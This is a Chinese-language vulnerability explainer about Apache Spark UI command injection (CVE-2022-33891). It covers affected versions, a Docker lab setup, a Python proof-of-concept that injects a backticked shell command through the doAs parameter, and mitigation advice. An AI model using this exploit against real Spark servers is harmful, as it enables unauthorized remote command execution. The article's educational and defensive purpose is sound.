漏洞科普——Apache Spark UI命令注入漏洞(CVE-2022-33891)

admin 2025年1月1日23:01:01评论54 views字数 2503阅读8分20秒阅读模式

Apache Spark UI 命令注入漏洞简述

Apache Spark是一个大规模数据处理引擎,该漏洞允许攻击者在Spark UI中通过构造特殊请求执行任意命令。
影响版本:
Apache Spark <= v3.0.3
3.1.1 <= Apache Spark <= 3.1.2
3.2.0 <= Apache Spark <= 3.2.1
(不受影响的版本为Apache Spark >= v3.1.3、Apache Spark >= v3.2.2和Apache Spark >= v3.3.0。)

Apache Spark UI 命令注入漏洞利用原理

Apache Spark UI命令注入漏洞(CVE-2022-33891)的利用原理如下:

1. 配置选项启用ACL:Apache Spark UI提供了通过配置选项spark.acls.enable启用ACL(访问控制列表)的可能性。这个配置使用身份验证过滤器来检查用户是否具有查看或修改应用程序的权限。
2. HttpSecurityFilter中的代码路径:如果启用了ACL,HttpSecurityFilter中的代码路径可以允许攻击者通过提供任意用户名来执行模拟。
3. 恶意用户访问权限检查功能:恶意用户可能能够访问权限检查功能,该功能最终将根据攻击者的输入构建一个Unix shell命令并执行,导致任意shell命令执行
4. 命令注入:攻击者可以通过在URL参数doAs中注入恶意命令来利用此漏洞。例如,通过发送请求到http://<ip>:<port>/jobs/?doAs=后跟恶意命令,可以在服务器上执行该命令。
5. 无回显的命令执行:该漏洞的利用通常是无回显的,意味着攻击者不会在响应中看到命令执行的结果,但可以通过其他方式(如创建文件)来验证命令是否执行。

Apache Spark UI 命令注入漏洞POC

一个基本的POC示例如下:
1、环境搭建:
使用Docker搭建漏洞环境,例如使用Bitnami的Apache Spark镜像:
version: '2'services:  spark:    image: docker.io/bitnami/spark:3.0.0    environment:      - SPARK_MODE=master      - SPARK_RPC_AUTHENTICATION_ENABLED=no      - SPARK_RPC_ENCRYPTION_ENABLED=no      - SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no      - SPARK_SSL_ENABLED=no    ports:      - '8080:8080'
访问http://192.168.0.112:8080/,修改配置文件启用ACL:
docker exec -it [container_id] /bin/bashecho "spark.acls.enable true" >> conf/spark-defaults.conf
重启Docker容器以应用配置更改。
2、python脚本如下:
import requestsimport argparseparser = argparse.ArgumentParser(description='CVE-2022-33891 POC')parser.add_argument('-u', '--url', help='Target URL', required=True)parser.add_argument('-p', '--port', help='Target Port', required=True)args = parser.parse_args()def run_cmd(cmd):    url = f"http://{args.url}:{args.port}/jobs/?doAs=`{cmd}`"    response = requests.get(url)    return responseif __name__ == '__main__':    print("Sending exploit request...")    response = run_cmd("touch /tmp/vuln_test_file")    print(f"Response Status Code: {response.status_code}")
执行该脚本,如果服务器上创建了/tmp/vuln_test_file文件,则表明漏洞利用成功。
(注意:
本POC仅用于教育和科普目的,以帮助理解漏洞的工作原理和潜在影响。在实际环境中,使用或创建POC来攻击系统是非法的,并且可能导致严重的法律后果。如果你是系统管理员或安全研究人员,应该在获得明确授权的情况下,使用这些信息来测试和加固自己的系统,而不是用于攻击他人系统。)

Apache Spark UI 命令注入漏洞防御方式

针对Apache Spark UI命令注入漏洞(CVE-2022-33891)的防御方式,以下是一些推荐的措施:

1. 升级Apache Spark版本:官方已经发布了修复该漏洞的版本,建议受影响的用户尽快升级到以下安全版本:
   - Apache Spark >= 3.1.3
   - Apache Spark >= 3.2.2
   - Apache Spark >= 3.3.0
   升级可以有效地修复漏洞,保护系统免受攻击。
2. 禁用ACL:如果不需要使用ACL(访问控制列表)功能,可以在配置中禁用ACL,以减少潜在的安全风险。
3. 监控和响应:加强对系统的监控和审计,以便及时发现和响应可疑的活动。
4. 使用WAF:部署Web应用程序防火墙(WAF)来帮助检测和阻止利用尝试。
5. 输入验证:对所有用户输入进行严格的验证和过滤,避免不受信任的输入被用于执行恶意操作。
6. 官方补丁:访问Apache Spark的官方网站下载并应用官方提供的补丁,以修复这个安全问题。
通过实施上述措施,可以有效地防御Apache Spark UI命令注入漏洞(CVE-2022-33891),保护系统免受未授权远程代码执行攻击的威胁。

原文始发于微信公众号(w小小杂谈w):漏洞科普——Apache Spark UI命令注入漏洞(CVE-2022-33891)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月1日23:01:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞科普——Apache Spark UI命令注入漏洞(CVE-2022-33891)https://cn-sec.com/archives/3568483.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息